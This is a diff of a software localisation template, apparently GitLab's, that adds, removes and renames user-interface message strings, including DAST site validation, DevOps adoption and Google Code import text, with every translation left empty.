@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
